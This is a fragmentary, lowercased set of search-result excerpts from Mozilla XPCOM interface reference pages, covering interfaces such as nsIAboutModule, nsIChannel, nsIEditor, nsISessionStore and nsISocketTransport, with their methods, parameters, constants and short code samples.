re_success(rv, rv); nscomptr<nsiwritablevariant> result = do_createinstance("@mozilla.org/variant;1"); ns_ensure_true(result, ns_error_out_of_memory); rv = result->setasint64(value * value); ns_ensure_success(rv, rv); ns_addref(*_result = result); return ns_ok; } }; // now, register our function with the database connection. nscomptr<mozistoragefunction> func =
new squarefunction(); ns_ensure_true(func, ns_error_out_of_memory); nsresult rv = dbconn->createfunction( ns_literal_cstring("square"), 1, func ); ns_ensure_success(rv, rv); // run some query that uses the function. nscomptr<mozistoragestatement> stmt; rv = dbconn->createstatement(ns_literal_cstring( "select square(value) from some_table"), getter_addrefs(stmt) ); ns_ensure_success(rv, rv)...
... mozistorageprogresshandler monitor progress during the execution of a statement. mozistoragestatementwrapper storage statement wrapper ...
nsIAboutModule
netwerk/protocol/about/nsiaboutmodule.idlscriptable this interface is implemented to add an 'about:' page. the contract id ends with a parameter that corresponds to the name of the about page. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview unsigned long geturiflags(in nsiuri auri); nsichannel
newchannel(in nsiuri auri); constants constant value description uri_safe_for_untrusted_content (1 << 0) a flag that indicates whether a uri is safe for untrusted content. if it is, web pages and so forth will be allowed to link to this about: uri. otherwise, only chrome will be able to link to it. allow_script (1 << 1) a flag that indicates whether sc...
...t useful without a query string. methods geturiflags() a method to get the flags that apply to a given about: uri. the uri passed in is guaranteed to be one of the uris that this module registered to deal with. unsigned long geturiflags( in nsiuri auri ); parameters auri return value a combination of the flags above corresponding to the appropriate flags for this about uri.
newchannel() constructs a
new channel for the about protocol module. nsichannel
newchannel( in nsiuri auri ); parameters auri the uri of the
new channel. return value a fully constructed channel that will load the about uri. see also on this page is seen how to make a custom about page. the section "firefox 4 (second approach)" provides copy paste code for working example. click here to ...
nsIAccessibleEditableText
it also includes and support basic operations such as, inserting text, copying text, cutting text, pasting text and deleting text at the specified position. ...
...ipboard. void pastetext( in long position ); parameters position the offset at which to insert the text from the system clipboard into the text represented by this object. exceptions thrown ns_error_failure indicates the text cannot be pasted from the clipboard. setattributes() sets the attributes for the text between the two given indices. the old attributes are replaced by the
new list of attributes. for example, sets font styles, such as italic, bold, and so on. void setattributes( in long startpos, in long endpos, in nsisupports attributes ); parameters startpos the start index of the text whose attributes are modified. endpos the end index of the text whose attributes are modified. attributes the set of attributes that replaces the old list of attribute...
nsIAccessibleStates
can communicate all items in the list to users. state_offscreen 0x00010000 scrolled off. state_sizeable 0x00020000 the object can be resized. for example, a user could change the size of a window by clicking the border with a mouse and dragging the mouse. state_moveable 0x00040000 the object can be moved. for example, a user can click on the titlebar for the object and drag the object to a
new location. state_selfvoicing 0x00080000 the object or child uses text-to-speech (tts) technology for description purposes. a speech-based accessibility aid does not announce information when an object with this state has the focus because the object automatically announces information. currently unused. state_focusable 0x00100000 the object can be focused. state_selectable 0x00200000 the obj...
...e selection. state_extselectable 0x02000000 supports extended selection. state_alert_low 0x04000000 this information is of low priority. state_alert_medium 0x08000000 this information is of medium priority. state_alert_high 0x10000000 this information is of high priority. state_protected 0x20000000 maps to gnome's role* atk_role_passwd_text, nothing for java? state_haspopup 0x40000000
new in msaa 2.0. state_required state_alert_low state_important state_alert_medium currently unused. state_invalid state_alert_high indicates a validation failure. state_checkable state_marqueed extended state constants extended state flags (for now non-msaa, for java and gnome/atk support) constant value description ext_state_supports_autocompletion 0x00000001 for editable areas ...
nsIAnnotationObserver
iven item have been deleted. this is not called when annotations are expired (normally happens when the application exits). void onitemannotationremoved( in long long aitemid, in autf8string aname ); parameters aitemid the item whose annotation is to be deleted. aname the annotation name. onitemannotationset() this method is called when an annotation value is set for an item. it could be a
new annotation, or it could be a
new value for an existing annotation. void onitemannotationset( in long long aitemid, in autf8string aname ); parameters aitemid the item on which the annotation is to be set. aname the annotation name. onpageannotationremoved() called when an annotation is deleted for a uri. if aname is empty, then all annotations for the given uri have been deleted. this is n...
...ons for the given uri have been deleted. this is not called when annotations are expired (normally happens when the application exits). void onpageannotationremoved( in nsiuri auri, in autf8string aname ); parameters auri the uri whose annotation is to be deleted. aname the annotation name. onpageannotationset() this method is called when an annotation value is set for a uri. it could be a
new annotation, or it could be a
new value for an existing annotation. void onpageannotationset( in nsiuri apage, in autf8string aname ); parameters apage the uri on which the annotation is to be set. aname the annotation name. see also places using the places annotation service using the places favicon service nsiannotationservice ...
nsICacheService
a result, devices excluded by the storage policy will not be searched when opening entries from the returned session. streambased indicates whether or not the data being cached can be represented as a stream. the storagepolicy must be consistent with the value of this field. for example, a non-stream-based cache entry can only have a storage policy of store_in_memory. return value returns a
new cache session. createtemporaryclientid() obsolete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this method creates and returns a unique, temporary cache client id. this is used by the offline cache. the offline cache ...
...and returns a unique, temporary cache client id. this is used by the offline cache. the offline cache lets clients accumulate entries in a temporary client and merge them in as a group using nsiofflinecachesession.mergetemporaryclient(). acstring createtemporaryclientid( in nscachestoragepolicy storagepolicy ); parameters storagepolicy the cache storage policy. return value returns a
newly created unique, temporary cache client id. exceptions thrown ns_error_not_implemented this method is deprecated. evictentries() this method evicts all entries in all devices implied by the storage policy. note: this function may evict some items but will throw if it fails to evict everything. void evictentries( in nscachestoragepolicy storagepolicy ); parameters storagepolicy ...
nsIChannel
netwerk/base/nsichannel.idlscriptable this interface allows clients to construct 'get' requests for specific protocols, and manage them in a uniform way. inherits from: nsirequest last changed in gecko 19.0 (firefox 19.0 / thunderbird 19.0 / seamonkey 2.16) once a channel is created (via nsiioservice.
newchannel()), parameters for that request may be set by using the channel attributes, or by calling queryinterface() to retrieve a subclass of nsichannel for protocol-specific parameters. then, the uri can be fetched by calling open() or asyncopen(). after a request has been completed, the channel is still valid for accessing protocol-specific results. for example, queryinterfacing to nsihttpchannel allows response headers to be retrieved for the corresponding http transaction. ...
... 20 set (for example by the uriloader) to indicate whether or not the end consumer for this load has been determined. load_call_content_sniffers 21 if this flag is set, the channel should call the content sniffers as described in netwerk/build/nsnetcid.h about ns_content_sniffer_category. see nsicontentsniffer [en-us] note: channels may ignore this flag; however,
new channel implementations should only do so with good reason. load_classify_uri 22 this flag tells the channel to use uri classifier service to check the uri when opening the channel. methods asyncopen() asynchronously open this channel. data is fed to the specified stream listener as it becomes available. the stream listener's methods are called on the thread that calls as...
nsICollection
void appendelement( in nsisupports item ) parameters item nsisupports item to be appended to the list. clear() removes all items from the collection. void clear(); parameters none. count() returns the number of items in the collection. pruint32 count(); parameters none. return value number of items in the list. enumerate() returns an nsienumerator that lets ...
... index position of the item to be queried. uuid nsiidref of the item. result comparison result of the previous two parameters. removeelement() removes an item from the collection. void removeelement( in nsisupports item ); parameters item nsisupports item to be removed from the list. setelementat() replaces an item at a specified index in the collection with a
new one. void setelementat( in pruint32 index, in nsisupports item ); parameters index index position where the
new item will be set. item the nsisupports item to be set in that position. remarks nsienumerator is a broken interface, and nsisimpleenumerator should be used in its place. see also nsisupports nsienumerator nsisimpleenumerator ...
nsICompositionStringSynthesizer
compositionstringsynthesizer.setstring("foo-bar-buzz"); // set clause information with .appendclause(). compositionstringsynthesizer.appendclause("foo-".length, compositionstringsynthesizer.attr_convertedtext); compositionstringsynthesizer.appendclause("bar".length, compositionstringsynthesizer.attr_selectedconvertedtext); compositionstringsynthesizer.appe...
..., you may not call this before dispatchevent(). void setcaret(in unsigned long aoffset, in unsigned long alength); parameters aoffset caret offset in the composition string. this value must be between 0 and the length of astring of setstring(). alength if you want wide caret, you can set over 0. however, gecko doesn't support wide caret yet. (bug 979112) setstring() sets
new composition string. this must be called before every call of dispatchevent(). void setstring(in astring astring); parameters astring
new composition string. ...
nsIDOMGeoGeolocation
llback errorcallback, [optional] in nsidomgeopositionoptions options); attributes attribute type description lastposition nsidomgeoposition the most recently retrieved location as seen by the provider. may be null. read only. methods clearwatch() when the clearwatch() method is called, the watch() process stops calling for
new position identifiers and cease invoking callbacks. void clearwatch( in unsigned short watchid ); parameters none. getcurrentposition() acquires the user's current position via a
new position object. if this fails, errorcallback is invoked with an nsidomgeopositionerror argument. void getcurrentposition( in nsidomgeopositioncallback successcallback, [optional] in nsidomgeopositionerrorcallba...
...t it continues to call the callback with updated position information periodically until clearwatch() is called. unsigned short watchposition( in nsidomgeopositioncallback successcallback, [optional] in nsidomgeopositionerrorcallback errorcallback, [optional] in nsidomgeopositionoptions options ); parameters successcallback an nsidomgeopositioncallback that is to be called whenever
new position information is available. errorcallback an nsidomgeopositionerrorcallback to call when an error occurs; this is an optional parameter. options an nsidomgeopositionoptions object specifying options; this parameter is optional. return value an id number that can be used to reference the watcher in the future when calling clearwatch(). ...
nsIDOMNSHTMLDocument
andid the name of the command. return value this method is not supported and always throws an exception. getselection() domstring getselection(); parameters none. return value the text of the current selection, the same as window.getselection.tostring(). open() nsidomdocument open( in acstring acontenttype, in boolean areplace ); parameters acontenttype the content type of the
new document. if the type is not supported by the html content sink, trying to write to the document will probably throw. areplace whether the document should replace the existing document in session history. return value the
new document. querycommandenabled() boolean querycommandenabled( in domstring commandid ); parameters commandid the name of the command to query. return va...
...ince gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) void write( [optional] in domstring text ); parameters text the string to write to the document. writeln() obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) void writeln( [optional] in domstring text ); parameters text the string to write to the document. a
newline is automatically appended. implemented by classes that implement this interface: nshtmldocument class: content/html/document/src/nshtmldocument.h ...
nsIDOMUserDataHandler
serdata method. 1.0 66 introduced gecko 1.5 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void handle(in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst); constants constant value description node_cloned 1 the node was cloned. node_imported 2 the node was cloned into a
new document. node_deleted 3 unimplemented node_renamed 4 unimplemented node_adopted 5 the node was adopted into a
new document. methods handle() this method is a callback which will be called if a node with user data is being cloned, imported or adopted. void handle( in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst ); parame...
... with user data is being cloned, imported or adopted. void handle( in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst ); parameters operation one of the node_* operation type constants from the above table. key the key that was used to set the user data. data the data that was set on the original node. src the original node. dst the
new node, for clone and import operations. ...
nsIDOMWindowInternal
moveby(in long xdif, in long ydif) void resizeto(in long width, in long height) void resizeby(in long widthdif, in long heightdif) void scroll(in long xscroll, in long yscroll) nsidomwindow window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. ...
...donly: returns the window directories toolbar object. closed boolean readonly: this property indicates whether the referenced window is closed or not. crypto nsidomcrypto readonly: returns the browser crypto object, which can then be used to manipulate various browser security features. pkcs11 nsidompkcs11 obsolete: this property is not supported in
newer versions of firefox. controllers nsicontrollers readonly: returns the xul controllers of the chrome window. opener nsidomwindowinternal returns a reference to the window that opened this current window. status domstring sets the text in the status bar at the bottom of the browser or returns the previously set text. defaultstatus domstrin...
nsIDownloadManager
e: adding a download doesn't automatically begin the transfer. if you want to both add and start a download, you need to create an nsiwebbrowserpersist object, call this method, set the progresslistener to the returned nsidownload object, and then call the nsiwebbrowserpersist.saveuri() method. note: prior to gecko 12.0, this was a synchronous operation; that is, once this method returned, you k
new that the download was in the download manager's list. that is no longer the case. adding downloads to the download manager is now an asynchronous operation. nsidownload adddownload( in short adownloadtype, in nsiuri asource, in nsiuri atarget, in astring adisplayname, in nsimimeinfo amimeinfo, in prtime astarttime, in nsilocalfile atempfile, in nsicancelable acancelable, in bo...
...arget file). the file will be moved to the location indicated by atarget when the download is complete. this may be null. acancelable an object that can be used to abort the download. must not be null. aisprivate indicates whether this download should be considered private (ie. to be removed at the end of the private browsing session, cached in non-permanent storage, etc.) return value the
newly created download item with the passed-in properties. addlistener() adds a listener to the download manager. void addlistener( in nsidownloadprogresslistener alistener ); parameters alistener the nsidownloadprogresslistener object to receive status information from the download manager. canceldownload() cancels the download with the specified id if it's currently in-progress. this ...
nsIEditor
bute(in astring aattribute, in nsidomnode asourcenode); void cloneattributes(in nsidomnode destnode, in nsidomnode sourcenode); nsidomnode createnode(in astring tag, in nsidomnode parent, in long position); void insertnode(in nsidomnode node, in nsidomnode parent, in long aposition); void splitnode(in nsidomnode existingrightnode, in long offset, out nsidomnode
newleftnode); void joinnodes(in nsidomnode leftnode, in nsidomnode rightnode, in nsidomnode parent); void deletenode(in nsidomnode child); void marknodedirty(in nsidomnode node); direction controller void switchtextdirection(); output methods astring outputtostring(in astring formattype, in unsigned long flags); example: // fla...
...ebasicentities=16384, outputencodelatin1entities=32768, // outputencodehtmlentities=65536, outputpersistnbsp=131072 editorapi.outputtostring('text/html', 2); editorapi.outputtostring('text/plain', 4); // output the body tag, body children and the html end tag (</html>). // tag name are in lower case with <br>. ...
nsIEditorMailSupport
nsisupportsarray getembeddedobjects(); parameters none. return value an nsisupportsarray containing the img and object tags of the current document. insertascitedquotation() insert a string as quoted text (whose representation is dependent on the editor type), replacing the sele...
...r html? pasteasquotation() paste the text in the os clipboard at the cursor position, as a quotation (whose representation is dependent on the editor type), replacing the selected text (if any). void pasteasquotation( in long aselectiontype ); parameters aselectiontype text or html? rewrap() rewrap the selected part of the document, re-quoting if necessary. void rewrap( in boolean arespect
newlines ); parameters arespect
newlines try to maintain
newlines in the original? stripcites() strip any citations in the selected part of the document. void stripcites(); parameters none. ...
nsIFactory
pecifying a concrete class type. inherits from: nsisupports last changed in gecko 0.9.5 method overview void createinstance(in nsisupports aouter, in nsiidref iid, [retval, iid_is(iid)] out nsqiresult result); void lockfactory(in prbool lock); methods createinstance() creates an instance of the class associated with this factory. unlike getservice, this returns a
new instance each time it is called. (see also nsicomponentmanager.createinstance.) void createinstance( in nsisupports aouter, in nsiidref iid, [retval, iid_is(iid)] out nsqiresult result ); parameters aouter pointer to a component that wishes to be aggregated in the resulting instance. this can be nsnull if no aggregation is requested. iid the iid of the interface being requested in ...
...stance.) void createinstance( in nsisupports aouter, in nsiidref iid, [retval, iid_is(iid)] out nsqiresult result ); parameters aouter pointer to a component that wishes to be aggregated in the resulting instance. this can be nsnull if no aggregation is requested. iid the iid of the interface being requested in the component which is being currently created. result pointer to the
newly created instance, if successful. exceptions thrown ns_error_no_interface indicates that the requested interface is not supported. ns_error_no_aggregation indicates that aggregation is not supported. lockfactory() this method provides the client a way to keep the component in memory until it is finished with it. gecko 1.7 note as of gecko 1.7, this method is unused. most impleme...
nsIFileProtocolHandler
stem's file system. inherits from: nsiprotocolhandler last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview nsifile getfilefromurlspec(in autf8string url); autf8string geturlspecfromactualfile(in nsifile file); autf8string geturlspecfromdir(in nsifile file); autf8string geturlspecfromfile(in nsifile file); nsiuri
newfileuri(in nsifile afile); nsiuri readurlfile(in nsifile file); methods getfilefromurlspec() converts the url string into the corresponding nsifile if possible. a local file will be created if the url string begins with file://. nsifile getfilefromurlspec( in autf8string url ); parameters url the url string to convert. return value a reference to a
new nsifile object. ...
...esulting string may contain url-escaped characters. note: under some platforms this is a lossy conversion. note: callers should use geturlspecfromactualfile() if possible, for performance reasons. autf8string geturlspecfromfile( in nsifile file ); parameters file the nsifile to convert. return value corresponding url string. the resulting string may contain url-escaped characters.
newfileuri() this method constructs a
new file uri. nsiuri
newfileuri( in nsifile afile ); parameters afile the nsifile to convert. return value a reference to a
new nsiuri object. readurlfile() takes a local file and tries to interpret it as an internet shortcut (for example .url files on windows). nsiuri readurlfile( in nsifile file ); parameters file the nsifile to read. ...
nsIGeolocationProvider
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) this must be called on the main thread interface provides location information to the nsgeolocator via the nsidomgeolocationcallback interface. after startup() is called, any geo location change should call callback.update(). the nsigeolocationprovider interface provides information about the current users location to interested parties via nsigeolocationupdate. ...
...the provider. this is called before any other method and may be called multiple times. void startup(); parameters none. watch() attaches a callback listener to be notified when a location change is observed. void watch( in nsigeolocationupdate callback ); parameters callback an nsigeolocationupdate to be notified when position changes. your location provider should call this routine whenever
new position data is available. see also using geolocation w3c geolocation specification ...
nsIGlobalHistory3
lobal history to gecko. 1.0 66 introduced gecko 1.8 obsolete gecko 9.0 inherits from: nsiglobalhistory2 last changed in gecko 1.9 (firefox 3) this interface was originally created as part of nsiglobalhistory2, but was split off during the transition to places. method overview void adddocumentredirect(in nsichannel aoldchannel, in nsichannel a
newchannel, in print32 aflags, in boolean atoplevel); unsigned long geturigeckoflags(in nsiuri auri); void seturigeckoflags(in nsiuri auri, in unsigned long aflags); methods adddocumentredirect() notifies the history system that the page loading via aoldchannel redirected to a
newchannel. implementations should generally add the uri for aoldchannel to history...
...e for nsichanneleventsink.onchannelredirect(). implementors who wish to implement this interface but rely on nsiglobalhistory2.adduri() for redirect processing may throw ns_error_not_implemented from this method. if they do so, then callers must call nsiglobalhistory2.adduri() upon getting the ns_error_not_implemented result. void adddocumentredirect( in nsichannel aoldchannel, in nsichannel a
newchannel, in print32 aflags, in boolean atoplevel ); parameters aoldchannel a
newchannel aflags flags to add. these are defined by the history that is implementing this interface. atoplevel whether the uri is loaded in a top-level window. if false, the load is in a subframe. geturigeckoflags() get the gecko flags for this uri. these ...
nsIHTTPHeaderListener
sisupports last changed in gecko 1.9 (firefox 3) note: the plugin author must provide an instance to {geturl,posturl}() that implements both nsipluginstreamlistener and nsihttpheaderlistener. this instance is passed in through {geturl,posturl}()'s streamlistener parameter. the browser will then qi this streamlistener to see if it implements nsihttpheaderlistener. ...
...) that implements both nsipluginstreamlistener and nsihttpheaderlistener. this instance is passed in through {geturl,posturl}()'s streamlistener parameter. the browser will then qi this streamlistener to see if it implements nsihttpheaderlistener. method overview void
newresponseheader(in string headername, in string headervalue); void statusline(in string line); methods
newresponseheader() called for each http response header. note: you must copy the values of the params. void
newresponseheader( in string headername, in string headervalue ); parameters headername headervalue statusline() called once for the http response status line. value does not include a terminating
newline. note: you must copy this value. void statusline( in string ...
nsIJetpackService
nsijetpack createjetpack(); parameters none. return value an nsijetpack interface representing the remote process. ...
...nsijetpack createjetpack(); parameters none. return value an nsijetpack interface representing the remote process. ...
nsILivemarkService
long long createlivemark( in long long folder, in astring name, in nsiuri siteuri, in nsiuri feeduri, in long index ); parameters folder the id of the parent folder. name the name to show when displaying the livemark. siteuri the uri of the site from which the livemark was created. feeduri the uri of the actual rss feed. index the index to insert at, or -1 to ap...
... parameters folder the id of the parent folder. name the name to show when displaying the livemark. siteuri the uri of the site from which the livemark was created. feeduri the uri of the actual rss feed. index the index to insert at, or -1 to append to the end of the list. return value the id of the folder for the livemark. createlivemarkfolderonly() this method also creates a
new livemark but use this method during startup to avoid http traffic. long long createlivemarkfolderonly( in long long folder, in astring name, in nsiuri siteuri, in nsiuri feeduri, in long index ); parameters folder the id of the parent folder. name the name to show when displaying the livemark. siteuri the uri of the site from which the livemark was created. feeduri the uri ...
nsIMacDockSupport
the application. void activateapplication( in boolean aignoreotherapplications ); parameters aignoreotherapplications if true, the application is activated regardless of the state of other applications. if false, the application is only activated if other applications are not currently active. about dockmenu by default firefox adds two menu items to the dock menu. the menu items are "
new window" and "
new private window". if permanent private browsing mode is enabled then the "
new private window" menu item is hidden. this is created by using the dockmenu attribute of nsimacdocksupport here: http://mxr.mozilla.org/mozilla-release/source/browser/base/content/browser.js#1562 this is seen here: if you were to copy and follow that example you would replace the default native menu. th...
...nstance(ci.nsistandalonenativemenu); console.log('dockmenuelement:', dockmenuelement); nativemenu.init(dockmenuelement); docksupport.dockmenu = nativemenu; this replaces the default menu with this one menuitem that says "show most recent window". notice the activateapplication(true), if this is not done then firefox will not be activated. the result of this code is shown below. notice how the "
new window" and "
new private window" menuitem's are missing. therefore, if you would like to add or remove items to the menu it is recommended to manipulate the default menu item which is on the hidden window of firefox. note: the hidden window of firefox (services.appshel.hiddendomwindow) loads on browser startup, so if you would like to access it on startup of the browser make sure to check and wai...
nsIMemoryReporter
nts describe the types of memory allocation described by memory use reporters. constant value description kind_mapped 0 this is deprecated synonym for kind_nonheap. deprecated since gecko 8.0 kind_nonheap 0 allocated directly by os calls e.g. mmap, virtualalloc, vm_allocate etc. kind_heap 1 allocated by the heap allocator, e.g. malloc,
new etc. kind_other 2 an allocation that does not fit into another kind category. unit type constants requires gecko 7.0(firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) the amount reported by a memory reporter may use one of the following units. constant value description units_bytes 0 the amount is specified as a number of bytes. ...
...ytes 0 the amount is specified as a number of bytes. units_count 1 the amount is an instantaneous count of things currently in existence. for example, the number of tabs currently open. units_count_cumulative 2 the amount contains the number of times some event has occurred since the application started up. for example, the number of times the user has opened a
new tab. the amount returned must never decrease over the lifetime of the application. units_percentage 3 the amount contains a fraction that should be expressed as a percentage. note: the amount field should be given a value 100 times the actual percentage; this number will be divided by 100 when shown. this allows a fractional percentage to be shown even though amount is a...
nsIMsgCustomColumnHandler
last changed in gecko 1.9 (firefox 3) inherits from: nsitreeview this interface is meant to be implemented by extensions, as shown in the tutorial. the interface inherits from nsitreeview, however when you're implementing a custom handler in javascript its not necessary to implement all of nsitreeview's methods. ...
... function() {return true;}, getcellproperties: function(arow, acol, aprops) { }, getrowproperties: function(arow, aprops) { }, getimagesrc: function(arow, acol) {return null;}, getsortlongforrow: function(ahdr) {return 0;} } to attach it use the nsimsgdbview.addcolumnhandler() method (recall gdbview is the global nsimsgdbview in thunderbird): gdbview.addcolumnhandler("
newcolumn", columnhandler); after which it can be retrieved using the nsimsgdbview.getcolumnhandler() method: var handler = gdbview.getcolumnhandler("
newcolumn"); and removed using the nsimsgdbview.removecolumnhandler() method: gdbview.removecolumnhandler("
newcolumn"); method overview astring getsortstringforrow(in nsimsgdbhdr ahdr); unsigned long getsortlongforrow(in nsimsgdbhdr ahdr); b...
nsIMsgFilterList
defined in comm-central/ mail
news/ base/ search/ public/ nsimsgfilterlist.idl attributes folder attribute nsimsgfolder nsimsgfilterlist::folder version readonly attribute short nsimsgfilterlist::version arbitraryheaders readonly attribute acstring nsimsgfilterlist::arbitraryheaders shoulddownloadallheaders readonly attribute boolean nsimsgfilterlist::shoulddownloadallheaders filtercount readonly attribute unsigned long nsimsgfilterlist::filtercount loggingenabled attribute boolean nsimsgfilterlist::loggingenabled defaultfile attribute nsilocalfile nsimsgfilterlist::defaultfile logstream attribute nsioutputstream nsimsgfilterlist::logstream logurl readonly attribute acstring nsimsgfilterlist::logurl methods getfilterat() nsimsgfilter nsimsgfilterlist::getfilterat (in unsigne...
...ng value, in nsioutputstream stream ) writewstrattr() void nsimsgfilterlist::writewstrattr ( in nsmsgfilterfileattribvalue attrib, in string value, in nsioutputstream stream ) matchorchangefiltertarget() boolean nsimsgfilterlist::matchorchangefiltertarget ( in acstring olduri, in acstring
newuri, in boolean caseinsensitive ) clearlog() void nsimsgfilterlist::clearlog () ensurelogfile() void nsimsgfilterlist::ensurelogfile () flushlogifnecessary () void nsimsgfilterlist::flushlogifnecessary () const const nsmsgfilterfileattribvalue nsimsgfilterlist::attribnone = 0 const nsmsgfilterfileattribvalue nsimsgfilterlist::attribversion = 1 const nsmsgfilterfileattr...
nsIMsgProtocolInfo
canloginatstartup boolean true if the account type can perform biff during startup. read only. defaultdobiff boolean true if the biff should be enabled by default for the account type. read only. defaultlocalfilepath nsilocalfile the default path under which all server data for this account type will be stored. folderscreateasync boolean
new in thunderbird 24 (bug 832034) preflightprettynamewithemailaddress boolean unused. read only. requiresusername boolean true if the server requires a username to log on. read only. serveriid nsiidptr the iid of the server-specific interface, used during account creation. read only. showcomposemsglink boolean true if compose ui actions sho...
... read only. methods getdefaultserverport() returns the default port for a connection to a server of this account type. long getdefaultserverport( in boolean issecure ); parameters issecure whether or not the connection will be secure. return value the default port number for connections of this account type. remarks this is one of the interfaces that is required to create a
new account type. see also nsimsgincomingserver ...
nsIMsgSearchNotify
defined in comm-central/ mail
news/ base/ search/ public/ nsimsgsearchnotify.idl [scriptable, uuid(ca37784d-352b-4c39-8ccb-0abc1a93f681)] interface nsimsgsearchnotify : nsisupports { void onsearchhit(in nsimsgdbhdr header, in nsimsgfolder folder); // notification that a search has finished. ...
...-352b-4c39-8ccb-0abc1a93f681)] interface nsimsgsearchnotify : nsisupports { void onsearchhit(in nsimsgdbhdr header, in nsimsgfolder folder); // notification that a search has finished. void onsearchdone(in nsresult status); /* * until we can encode searches with a uri, this will be an * out-of-bound way to connect a set of search terms to a datasource */ /* * called when a
new search begins */ void on
newsearch(); }; ...
nsIProtocolProxyFilter
thods applyfilter() this method is called to apply proxy filter rules for the given uri and proxy object (or list of proxy objects). nsiproxyinfo applyfilter( in nsiprotocolproxyservice aproxyservice, in nsiuri auri, in nsiproxyinfo aproxy ); parameters aproxyservice a reference to the protocol proxy service. this is passed so that implementations may easily access methods such as
newproxyinfo. auri the uri for which these proxy settings apply. aproxy the proxy (or list of proxies) that would be used by default for the given uri. this may be null. return value the proxy (or list of proxies) that should be used in place of aproxy. this can be just be aproxy if the filter chooses not to modify the proxy. it can also be null to indicate that a direct connection s...
...or which these proxy settings apply. aproxy the proxy (or list of proxies) that would be used by default for the given uri. this may be null. return value the proxy (or list of proxies) that should be used in place of aproxy. this can be just be aproxy if the filter chooses not to modify the proxy. it can also be null to indicate that a direct connection should be used. use aproxyservice.
newproxyinfo to construct nsiproxyinfo objects. see also nsiproxyinfo nsiprotocolproxyservice ...
nsIScriptableInputStream
always be closed. excerpt of the stream for this stream article is here, this is only an excerpt so cannot copy paste this code into scratchpad. ...
...tract where `init` should only be called once, and should always be closed. ...
nsISelection
the function only returns true when the entire node is part of the selection. return value whether or not the range contains the requested noe. deletefromdocument() deletes this selection from the document the nodes belong to. void deletefromdocument(); extend() extends the selection by moving the selection end to the specified nsidomnode and offset, preserving the selection begin position. the
new selection end result will always be from the anchornode to the
new focusnode, regardless of direction. void extend( in nsidomnode parentnode, in long offset ); parameters parentnode the node where the selection will be extended to. offset where in the node to place the offset in the
new selection end. native code only!extendnative void extendnative( in nsinode parentnode...
...) adds all children of the specified node to the selection. void selectallchildren( in nsidomnode parentnode ); parameters parentnode the parent of the children to be added to the selection. selectionlanguagechange() modifies the cursor bidi level after a change in keyboard direction. void selectionlanguagechange( in boolean langrtl ); parameters langrtl is pr_true if the
new language is right-to-left or pr_false if the
new language is left-to-right. tostring() returns the whole selection into a plain text string. domstring tostring(); remarks see also ...
nsISessionStore
te the value. akey the key whose value is to be deleted. duplicatetab() duplicates a specified tab as thoroughly as possible. nsidomnode duplicatetab( in nsidomwindow awindow, in nsidomnode atab ); parameters awindow the window in which the duplicated tab will be created. atab the tab to duplicate (can come from a different window). return value an nsidomnode representing the
new tab, the content of which is a duplicate of atab. forgetclosedtab() nsidomnode forgetclosedtab( in nsidomwindow awindow, in unsigned long aindex ); parameters awindow is the browser window associated with the closed tab. aindex is the index of the closed tab to be removed (fifo ordered). return value forgetclosedwindow() nsidomnode forgetclosedwindow( in unsigned long aindex...
...tribute( in astring aname ); parameters aname the name of the attribute to be saved and restored for all tabs. restorelastsession() restore the previous session if possible. this will not overwrite the current session. instead the previous session will be merged into the current session. current windows will be reused if they were windows that pinned tabs were previously restored into.
new windows will be opened as needed. note: this will throw if there is no previous state to restore. check with canrestorelastsession first to avoid thrown errors. void restorelastsession(); parameters none. setbrowserstate() sets the current browsing state. note: calling setbrowserstate immediately replaces the current session, restoring the state of the entire application to the state pass...
nsISocketTransport
anonymous_connect 1 when this flag is set, the socket will not apply any credentials when establishing a connection. for example, an ssl connection would not send any client-certificates if this flag is set. ...
...05 status_waiting_for 0x804b000a status_receiving_from 0x804b0006 connection flags values for the connectionflags attribute constant value description bypass_cache 0 when making a
new connection bypass_cache will force the necko dns cache entry to be refreshed with a
new call to nspr if it is set before opening the
new stream. anonymous_connect 1 when this flag is set, the socket will not apply any credentials when establishing a connection. for example, an ssl connection would not send any client-certificates if this flag is set. disable_ipv6 2 when this flag is set, the socket will ignore any ipv6 addres...
nsISocketTransportService
fywhencanattachsocket(in nsirunnable aevent); native code only! void shutdown(); obsolete since gecko 1.8 attributes attribute type description autodialenabled boolean controls whether or not the socket transport service should poke the autodialer on connection failure. obsolete since gecko 1.8 methods native code only! attachsocket adds a
new socket to the list of controlled sockets. this will fail with the error code ns_error_not_available if the maximum number of sockets is already reached. in this case, the notifywhencanattachsocket() method should be used. note: this function may only be called from an event dispatch on the socket thread. void attachsocket( in prfiledescptr afd, in nsasockethandlerptr ahandler ); paramete...
...can be notified when the number of sockets becomes less than the limit. the notification is asynchronous, delivered via the given nsirunnable instance on the socket transport thread. note: this function may only be called from an event dispatch on the socket thread. void notifywhencanattachsocket( in nsirunnable aevent ); parameters aevent event that will receive the notification when a
new socket can be attached. shutdown() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) void shutdown(); parameters none. example // at first, we need a nsisockettransportservice .... var transportservice = components.classes["@mozilla.org/network/socket-transport-service;1"] .getservice(components.interfaces.nsisockettransportservice); // ... then it ...
nsISpeculativeConnect
nection, to get access to the i/o service's implementation of nsispeculativeconnect. then call speculativeconnect() to let the networking layer know what you might be doing in the future. method overview void speculativeconnect(in nsiuri auri, in nsiinterfacerequestor acallbacks, in nsieventtarget atarget); methods speculativeconnect() call this method to hint to the networking layer that a
new transaction for the specified uri is likely to happen soon. the code implementing this method may use this information to start a tcp and/or ssl level handshake for that resource immediately so that it is ready (or at least in the process of becoming ready) when the transaction is actually submitted. no obligation is taken on by the implementer, nor is the submitter obligated to actually open the...
